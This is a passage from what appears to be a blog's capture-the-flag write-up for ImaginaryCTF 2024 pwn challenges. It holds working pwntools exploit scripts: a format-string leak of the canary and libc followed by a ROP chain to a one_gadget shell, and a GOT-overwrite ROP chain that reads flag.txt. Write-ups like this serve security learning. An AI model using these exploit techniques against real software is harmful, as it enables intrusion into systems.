punctuation\">)</span>\n\n<span class=\"token comment\"># Exploit</span>\ntarget<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\">> \"</span><span class=\"token punctuation\">)</span>\npayload <span class=\"token operator\">=</span> <span class=\"token string\">b\"3\"</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># First chance</span>\ntarget<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter book title: \"</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\"># 0x8c87dec5</span>\n<span class=\"token comment\"># payload = b\"%100c%8$n\"</span>\npayload <span class=\"token operator\">=</span> <span class=\"token string\">b\"%6$p %7$p %17$p %25$p\"</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># \"Book title --> $HEX\\n\"</span>\nr <span class=\"token operator\">=</span> target<span class=\"token punctuation\">.</span>recvline_startswith<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Book title\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>decode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nhex_value <span class=\"token operator\">=</span> re<span class=\"token punctuation\">.</span><span class=\"token builtin\">compile</span><span class=\"token punctuation\">(</span><span class=\"token string\">r\"(0x[0-9a-fA-F]{1,16})\"</span><span class=\"token punctuation\">)</span>\nfeedbeef_addr <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>re<span class=\"token punctuation\">.</span>findall<span class=\"token punctuation\">(</span>hex_value<span class=\"token punctuation\">,</span>r<span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">-</span> <span class=\"token number\">0x10</span>\nrand_val <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>re<span class=\"token punctuation\">.</span>findall<span class=\"token punctuation\">(</span>hex_value<span class=\"token punctuation\">,</span>r<span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFF</span>\nleaked_canary <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>re<span class=\"token punctuation\">.</span>findall<span class=\"token punctuation\">(</span>hex_value<span class=\"token punctuation\">,</span>r<span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\nleaked_libc_start_main <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>re<span class=\"token punctuation\">.</span>findall<span class=\"token punctuation\">(</span>hex_value<span class=\"token punctuation\">,</span>r<span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\nlibc_base <span class=\"token operator\">=</span> leaked_libc_start_main <span class=\"token operator\">-</span> <span class=\"token number\">0x24083</span>\nval <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>rand_val<span class=\"token operator\">*</span><span class=\"token number\">0x13f5c223</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xFFFFFFFF</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>feedbeef_addr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>rand_val<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>val<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>leaked_canary<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>libc_base    <span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span><span class=\"token string\">b\"y\"</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># Second chance</span>\ntarget<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter book title: \"</span><span class=\"token punctuation\">)</span>\npayload <span class=\"token operator\">=</span> fmtstr_payload<span class=\"token punctuation\">(</span>offset<span class=\"token operator\">=</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> writes<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span>feedbeef_addr<span class=\"token punctuation\">:</span>val<span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>write_size<span class=\"token operator\">=</span><span class=\"token string\">\"short\"</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\npop_r12_ret <span class=\"token operator\">=</span> libc_base <span class=\"token operator\">+</span> <span class=\"token number\">0x199212</span>\none_gadget <span class=\"token operator\">=</span> libc_base <span class=\"token operator\">+</span> <span class=\"token number\">0xe3afe</span>\n\n<span class=\"token comment\"># Vuln func</span>\ntarget<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\">\"</span><span class=\"token punctuation\">)</span>\npayload <span class=\"token operator\">=</span> flat<span class=\"token punctuation\">(</span>\n    <span class=\"token string\">b\"A\"</span><span class=\"token operator\">*</span><span class=\"token number\">0x68</span><span class=\"token punctuation\">,</span>\n    leaked_canary<span class=\"token punctuation\">,</span>\n    <span class=\"token string\">b\"B\"</span><span class=\"token operator\">*</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">,</span>\n    pop_r12_ret<span class=\"token punctuation\">,</span>\n    <span class=\"token string\">b\"\\x00\"</span><span class=\"token operator\">*</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span>\n    one_gadget\n<span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># Finish exploit</span>\ntarget<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>clean<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Running it reveals the correct flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 350px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/9eb7b8e71fc6a416fb9cea14a09c4682/13ae7/image-20240720173827955.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 108.74999999999999%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAAAsTAAALEwEAmpwYAAADCUlEQVQ4y5VUXW8cNRT12GOPxzM7u5tlM7Nfs1/JfqWbbdKUJESogickJESlIsQjL0hVhVShqn3lF/BWqoL4rYczBqlJ0W6Wh6trezzH555zbSGEwO0IggBByCyZpYBUAUTAHCjE2iF2EbQN/PeP//03PkxkIGG0QZRK2DREXOc8Vgi1QqQj2ChCYmpckwijPQB1aGC1RWwcTCpgm1zTFbMEkVP+EO0EEpsglOF+gI2keVcCIdFoptA8wNgQqa57UBWJ+wGVEailKUHulpPkAlGkEceW2cBFZBiqPQCtQNxQkLcEr8yoZTFliD2Q1iGcddDK7GEK3bU1haSuveg2pX6pQWzJLLQwYeQl8KZoeT9gJbSJyKBO8SOakNHtmOBGenYuiTjmQe6ftZ2ASio4k0Bp4UErBp6J1NAmROLovOHYKr+3YroT0JqIpbFt6GTWF0g7As3cImuwjWL2piMzq9kyDire6jAvAZu5ipAtk9oGXIMN3OLPLC+LD2hGDY20RSMyCClpRkSm7EG5BfDRty/x5Pmf+PzH3/D96/d49uoPfPnTW3z98zs8/eUdvnrxFt+8/B0/vHmP717/hbNnv0Iou53hxek1ThY32HzxFOP1DTqzC+SzS/QWVxgsrzFYXaM7r8ZX6K8+Q2OwYVlqO+Ck00aPfVYULaSOGm53b7/olyXOP73A5uEGi+UC88WcHz6++MGHCILdgNPpBJeXj7E+XWO5WmAw6PM20M00oasWju0iaUYVxpj7GQ5HQ4zGVYywJMPJdIzp0QTnj858ns2OMeKeat/hYdu/l7sBhyUerE9wmB+iYluWA7Rarf88urfzzijJaD6fEfQBik7hgVerJZTabc5t8DsHnfC56lO3qsTmQZMlT/DwbIN2u42joymB1f9zeczyKn1ON2s6PPNg1bgoCjym+5Wu48kI9XrGfSW63Q5yVnF8fIQBdR+6GE9urjHl3AO2WWZR5GT0CcrhAGNumkzGyLIM3V7Xg1QyHJB9nud+T6/f8+y7ZR89dsLVxbknVQH+DSE+96rOy6w7AAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/9eb7b8e71fc6a416fb9cea14a09c4682/8ac56/image-20240720173827955.webp 240w,\n/static/9eb7b8e71fc6a416fb9cea14a09c4682/a3432/image-20240720173827955.webp 350w\"\n              sizes=\"(max-width: 350px) 100vw, 350px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/9eb7b8e71fc6a416fb9cea14a09c4682/8ff5a/image-20240720173827955.png 240w,\n/static/9eb7b8e71fc6a416fb9cea14a09c4682/13ae7/image-20240720173827955.png 350w\"\n            sizes=\"(max-width: 350px) 100vw, 350px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/9eb7b8e71fc6a416fb9cea14a09c4682/13ae7/image-20240720173827955.png\"\n            alt=\"image-20240720173827955\"\n            title=\"image-20240720173827955\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"ropitypwn\" style=\"position:relative;\"><a href=\"#ropitypwn\" aria-label=\"ropitypwn permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>ropity(Pwn)</h2>\n<blockquote>\n<p>Just your typical ROP challenge</p>\n</blockquote>\n<p>Decompiling the binary shows that it is a small binary containing only a <code class=\"language-text\">main</code> function with an obvious buffer overflow and a <code class=\"language-text\">printfile</code> function.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 817px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/e8f20353cf60479e6a1fb99fe6cb30ad/98314/image-20240722222329557.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 35.833333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABEklEQVQoz42RyW7CQBBE/SuAZ1/MKUHGC8klEorB2Ob/P6VSMw5RLig5PHV110y7e1x8fA4YlxGXacIw3amvuM4LxvlGplXTH5c7htuM82XE+fqcwvoIqQ2s93AhQBkLacw3SbvsC6X/RaGsw7YUCNGiig7eB0hrIbxBqdks7LETCpvtDptd+SeFr/ZwMU3nYUJFXcFXkXlk9PAxkFSrYLiFcc/RpDg0LdpTh6bvUXfvjCfS4tj1aPuGuqP/lvPXusFLfWT8Tf2jD8dmXTmt5IPj2oFwGk5n+bX0jsJolFJxAgdjVyRrKnlaU/Octvnt88prQwmlZT6kmSfzcVEYlR/7UV8bqfyjSkWPzYQyOU8NvwDkC9uRjo0enwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/e8f20353cf60479e6a1fb99fe6cb30ad/8ac56/image-20240722222329557.webp 240w,\n/static/e8f20353cf60479e6a1fb99fe6cb30ad/d3be9/image-20240722222329557.webp 480w,\n/static/e8f20353cf60479e6a1fb99fe6cb30ad/57fc4/image-20240722222329557.webp 817w\"\n              sizes=\"(max-width: 817px) 100vw, 817px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/e8f20353cf60479e6a1fb99fe6cb30ad/8ff5a/image-20240722222329557.png 240w,\n/static/e8f20353cf60479e6a1fb99fe6cb30ad/e85cb/image-20240722222329557.png 480w,\n/static/e8f20353cf60479e6a1fb99fe6cb30ad/98314/image-20240722222329557.png 817w\"\n            sizes=\"(max-width: 817px) 100vw, 817px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/e8f20353cf60479e6a1fb99fe6cb30ad/98314/image-20240722222329557.png\"\n            alt=\"image-20240722222329557\"\n            title=\"image-20240722222329557\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Also, the clearly unnatural part of the binary is this <code class=\"language-text\">printfile</code> function.</p>\n<p>This function appears to use the file path passed as an argument to obtain a file descriptor with the <code class=\"language-text\">open</code> system call, then print its contents with <code class=\"language-text\">sendfile</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 492px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/b0c914d1ef7a053f13e4d8df511ece33/5c6e9/image-20240722224635520.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 74.58333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdklEQVQ4y41TSXLbQAzURxyR4ipxFZfhLsrOO3yJJdvR4so1h1zy8U5jJDqyq1KVA4pDcNBAd4Ozp5cdDucn7L/v8fP5gN+vR/x6fcPx9MLcDvvDic8jdjyffux17uV0xuv5jbkDno9nPH7b4/Fpp2PW9D2G7Yh+HDF2PbZth7Ht0er8BuP9PRrmVdOi7lpUTYOadyQq5utuQCXna8y85RJBGMHzlzBtB18WFu7MBVzfx2ZQSNMQ/nIF23Fhuh7sIITFGovfDcPEnHcN1kwxC+MEeZ5rQItFjufBsl3EaYK+VzAtm1N1KMsSqaqQ1DUiTp9uBgR5AV8asM6WZgwN2JCGgPrsLMkFJ43TGKXK2JWAdco7CZSqSashYIm4Jvj2HmvKtYpT3s+QpKkAxsiLAlVVoes7tNTJ9XxESQRVZfhiLFCUCllVIN4U8FYrMnC0BDKZxQEc3v8wYUE6Apyka91FPgRRSPASURwyEk4Rw19HsEWSG4rWBHwNDVhxfDFB6Ald03LYINIaBmGgAcW4KEr09LeAn0NTLsoCGTWsKHjNcK6URcM7Ui5pRlErRE0Gx/8PQNFQUcOmbdFS9EnDus5h0OWMbq6pYfKg4EeB3oJ/A0YXwFKp9wkFUChPLq+zAmmZE7DCkjpqUwTgasoHQNFHAF3u4XIVwGcIJTFl2FScjoZw1zwutxusLkbYf02YjPlAWYDECDFEm2JfTGnbQl+SJu4VyOHZEXA+7U8Ov7u8CkNdKGY42kWPGsbYjrW+lKxz7iEXeRiQ8t/Ovj4g4btzUzPFTP7FuWnibm5wiS8hZ8k5rvP+bU5zTO6gIQzotNTd1kzxBxUe05h7pxFHAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/b0c914d1ef7a053f13e4d8df511ece33/8ac56/image-20240722224635520.webp 240w,\n/static/b0c914d1ef7a053f13e4d8df511ece33/d3be9/image-20240722224635520.webp 480w,\n/static/b0c914d1ef7a053f13e4d8df511ece33/9d6da/image-20240722224635520.webp 492w\"\n              sizes=\"(max-width: 492px) 100vw, 492px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/b0c914d1ef7a053f13e4d8df511ece33/8ff5a/image-20240722224635520.png 240w,\n/static/b0c914d1ef7a053f13e4d8df511ece33/e85cb/image-20240722224635520.png 480w,\n/static/b0c914d1ef7a053f13e4d8df511ece33/5c6e9/image-20240722224635520.png 492w\"\n            sizes=\"(max-width: 492px) 100vw, 492px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/b0c914d1ef7a053f13e4d8df511ece33/5c6e9/image-20240722224635520.png\"\n            alt=\"image-20240722224635520\"\n            title=\"image-20240722224635520\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>In other words, if we can pass <code class=\"language-text\">flag.txt</code> as the argument to <code class=\"language-text\">printfile</code>, we should be able to recover the flag.</p>\n<p>However, despite the obvious buffer overflow, the binary did not contain conveniently usable ROP gadgets, which made the exploit difficult.</p>\n<p>At one point I tried various ideas, such as using the behavior where <code class=\"language-text\">fgets</code> returns <code class=\"language-text\">NULL</code> on read failure and using <code class=\"language-text\">shutdown()</code> to put 0 into <code class=\"language-text\">rax</code>, but I still could not recover the flag.</p>\n<p>For reference, the system calls used by this program have the following signatures.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token function\">fgets</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span> <span class=\"token operator\">*</span>s<span class=\"token punctuation\">,</span> <span class=\"token keyword\">int</span> size<span class=\"token punctuation\">,</span> FILE <span class=\"token operator\">*</span>stream<span class=\"token punctuation\">)</span>\n<span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">const</span> <span class=\"token keyword\">char</span> <span class=\"token operator\">*</span>path<span class=\"token punctuation\">,</span> <span class=\"token keyword\">int</span> oflag<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span> <span class=\"token punctuation\">)</span>\n<span class=\"token function\">sendfile</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> out_fd<span class=\"token punctuation\">,</span> <span class=\"token keyword\">int</span> in_fd<span class=\"token punctuation\">,</span> <span class=\"token class-name\">off_t</span> <span class=\"token operator\">*</span> offset <span class=\"token string\">\", size_t\"</span> <span class=\"token string\">\" count\"</span> <span class=\"token punctuation\">)</span></code></pre></div>\n<p>Reference: <a href=\"https://linux.die.net/man/3/fgets\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">fgets(3): input of char/strings - Linux man page</a></p>\n<p>Reference: <a href=\"https://linux.die.net/man/3/open\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">open(3): open file - Linux man page</a></p>\n<p>Reference: <a href=\"https://linux.die.net/man/2/sendfile\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">sendfile(2) - Linux man page</a></p>\n<p>From here, I worked through it while referring to another writeup.</p>\n<p>Reference: <a href=\"https://vaktibabat.github.io/posts/ictf_2024/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">My Writeups For ImaginaryCTF 2024! | Vaktibabat</a></p>\n<p>The key point this time was that the only place where <code class=\"language-text\">rdi</code> seemed controllable was the <code class=\"language-text\">mov     rdi, rax</code> right before the call to <code class=\"language-text\">fgets</code>.</p>\n<p>I initially assumed that even if I abused this code with the buffer overflow, it would be difficult to use because <code class=\"language-text\">fgets</code> would also end up being executed.</p>\n<p>However, PIE is disabled in this binary, so GOT overwrite is possible.</p>\n<p>That means if we overwrite the <code class=\"language-text\">fgets</code> GOT entry itself, we can execute arbitrary code after controlling <code class=\"language-text\">rdi</code>.</p>\n<p>In the first stage, the goal is to use ROP against the code below so that <code class=\"language-text\">fgets</code> overwrites its own GOT entry.</p>\n<div class=\"gatsby-highlight\" data-language=\"nasm\"><pre class=\"language-nasm\"><code class=\"language-nasm\">mov     <span class=\"token register variable\">rdx</span>, qword <span class=\"token operator\">[</span>rel stdi<span class=\"token operator\">]</span>\nlea     <span class=\"token register variable\">rax</span>, <span class=\"token operator\">[</span><span class=\"token register variable\">rbp</span><span class=\"token operator\">-</span><span class=\"token number\">0x8</span> {buf}<span class=\"token operator\">]</span>\nmov     <span class=\"token register variable\">esi</span>, <span class=\"token number\">0x100</span>\nmov     <span class=\"token register variable\">rdi</span>, <span class=\"token register variable\">rax</span> {buf}\ncall    fgets</code></pre></div>\n<p>When <code class=\"language-text\">fgets</code> is called, <code class=\"language-text\">rdi</code> is set using the address <code class=\"language-text\">rbp-0x8</code>.</p>\n<p>Therefore, by replacing <code class=\"language-text\">RBP</code> so that <code class=\"language-text\">rbp-0x8</code> points to the GOT address we want to tamper with, we can make <code class=\"language-text\">fgets</code> overwrite the GOT.</p>\n<p>The actual exploit code used to recover the flag looks like this.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">call_fgets <span class=\"token operator\">=</span> <span class=\"token number\">0x401142</span>\ncall_printfile <span class=\"token operator\">=</span> <span class=\"token number\">0x40115d</span>\ncall_gmonstart <span class=\"token operator\">=</span> <span class=\"token number\">0x404040</span>\ngot_fgets <span class=\"token operator\">=</span> <span class=\"token number\">0x404018</span>\npop_rbp <span class=\"token operator\">=</span> <span class=\"token number\">0x40119b</span>\n\n<span class=\"token comment\"># First</span>\npayload <span class=\"token operator\">=</span> flat<span class=\"token punctuation\">(</span>\n    cyclic<span class=\"token punctuation\">(</span><span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n    pop_rbp<span class=\"token punctuation\">,</span>\n    got_fgets<span class=\"token operator\">+</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">,</span>\n    call_fgets<span class=\"token punctuation\">,</span>\n<span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># Second</span>\npayload <span class=\"token operator\">=</span> flat<span class=\"token punctuation\">(</span>\n    call_printfile<span class=\"token punctuation\">,</span> <span class=\"token comment\"># &lt;- 0x404018</span>\n    call_gmonstart<span class=\"token punctuation\">,</span> <span class=\"token comment\"># &lt;- 0x404020</span>\n    call_fgets<span class=\"token punctuation\">,</span> <span class=\"token comment\"># &lt;- 0x404028</span>\n    <span class=\"token string\">b\"\\x00\"</span><span class=\"token operator\">*</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token comment\"># &lt;- 0x404030</span>\n    <span class=\"token string\">b\"./flag.txt\\x00\"</span> <span class=\"token comment\"># &lt;- 0x404038</span>\n<span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span></code></pre></div>\n<p>As a side note, the <code class=\"language-text\">pop rbp; ret</code> gadget lets you replace <code class=\"language-text\">RBP</code> with any value, but <code class=\"language-text\">RSP</code> does not change at that point, so you can still use the ROP gadgets placed on the stack as-is.</p>\n<p>However, if <code class=\"language-text\">leave</code> is executed afterward, <code class=\"language-text\">RBP</code> is first copied into <code class=\"language-text\">RSP</code>, and then the stack top pointed to by <code class=\"language-text\">RSP</code> (the old <code class=\"language-text\">RBP</code>) is popped into <code class=\"language-text\">RBP</code>.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">leave\n\n↓\n\nmov rsp, rbp\npop rbp</code></pre></div>\n<p>So when using a <code class=\"language-text\">pop rbp; ret</code> gadget, you need to be careful about what happens when <code class=\"language-text\">leave</code> executes.</p>\n<p>In this case, the first-stage payload only goes as far as setting up <code class=\"language-text\">RDI</code> to target the <code class=\"language-text\">fgets</code> GOT address.</p>\n<p>In the second payload that follows, I place the address of <code class=\"language-text\">printfile</code> at the beginning.</p>\n<p>As a result, future calls to <code class=\"language-text\">fgets</code> invoke <code class=\"language-text\">printfile</code> instead.</p>\n<p>After <code class=\"language-text\">fgets</code> is called, the code executes <code class=\"language-text\">leave; ret</code>.</p>\n<p>At this point, <code class=\"language-text\">RBP</code> contains <code class=\"language-text\">0x404020</code>, which is <code class=\"language-text\">got_fgets+0x8</code>.</p>\n<p>So when <code class=\"language-text\">leave</code> runs, <code class=\"language-text\">RSP</code> first becomes <code class=\"language-text\">0x404020</code>, and then the stack top is popped into <code class=\"language-text\">RBP</code>.</p>\n<p>Starting at address <code class=\"language-text\">0x404018</code>, the values are laid out in the order <code class=\"language-text\">call_printfile -> call_gmonstart -> call_fgets -> 0 -> b\"./flag.txt\\x00\"</code>.</p>\n<p>Therefore, immediately after <code class=\"language-text\">leave</code>, <code class=\"language-text\">RBP</code> is set to <code class=\"language-text\">call_gmonstart(0x404040)</code>, and <code class=\"language-text\">RSP</code> becomes <code class=\"language-text\">0x404028</code>, which is the old <code class=\"language-text\">RBP</code> value plus <code class=\"language-text\">0x8</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/44acfe8e6f1519eec0e32e37f1d1bf65/e2310/image-20240725202051718.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 74.58333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC3UlEQVQ4y22U2Y7jNhBF9RK0RYqkNi6SqMW2bMmO3dM9wCTozOT/P+vmym5kMEEeDoqwamHVLTo5zFfU5ogi6+HMCKsGFKaFNRaNqvhbJBPKuoEfWqiihVAW0nQkQuqWBEj6biSv9xuG4RWH6QpX1DDSIM82NIsoWgEtUyglYEyKLCNSkPQ/iAfJ7XaDq85oqxlTmHCeFqzTBdH2KHUFnecQUkLK7F+y7P+RJFmWBSH2SDMGKYlMKX4kPAshmED+EvAT+ZPPghnPyf1+xx9rj0vUGK1m+znOi0AbMjhvMe5H9GOP2HWwRYFg7cMaJjVMpJlIG57NM2lyPZ+xtmdcyNKfcJ1XXPYnHPoJ+3aPuZ1xjEfE4NEpDU+aDXYRSE2sZ/Hw7CZ5qwPOOwZKzq8ece2uDO4w5BW8oHNqKA5FciWU76CbHobfcxth6a9NgZR+Qmi2r5CE0GNZrhiHA3reqKoLFGzVNjOc3cPnFq2LiP0dZdEjz3smaaHLHkXdQ3G9pCo58/Jhkxgj3t/esa4rjocTXJPy+hqHMMCXFhVFCmWFpmgwqhpH5VAqFs0Ngne0OVsVD0GyreUmNljuC6Z5Qpy43BTDOoH0txfI3QvSNMWOvKQvFEBCkZR7t7ETO7abfqr8JAlDwHQb0Z5a+DEwoUTlDYxrUXQ96iaitB6NGxGLCn1RwmoPLxu+Kscd9sipumInWmsk+2nCj7++45ULfuEsQ5vCdiWG5QtvzbnVFpnenHMUDLo5h6U748THEGRApyMqFum6FjF2SNq4x/X2juPpgmFcUIccta+5kxO88RCp5s5RYQ48Fhazm2AD/aoBZc7dzAcK5Vk4PN578u3bn3j7+hUne8FRrBj1CWtxZ/CIUzPg4Bvum2Z7OVvfRhFgmhF54Egc/zC2J1o6znKbIdfm4+MDP/7+jnv7BWv2O+Y448ybBgZ23IDaWQognu95C9pESHdPS8RDlE+VyT9+dnZj+eXM8QAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/44acfe8e6f1519eec0e32e37f1d1bf65/8ac56/image-20240725202051718.webp 240w,\n/static/44acfe8e6f1519eec0e32e37f1d1bf65/d3be9/image-20240725202051718.webp 480w,\n/static/44acfe8e6f1519eec0e32e37f1d1bf65/e46b2/image-20240725202051718.webp 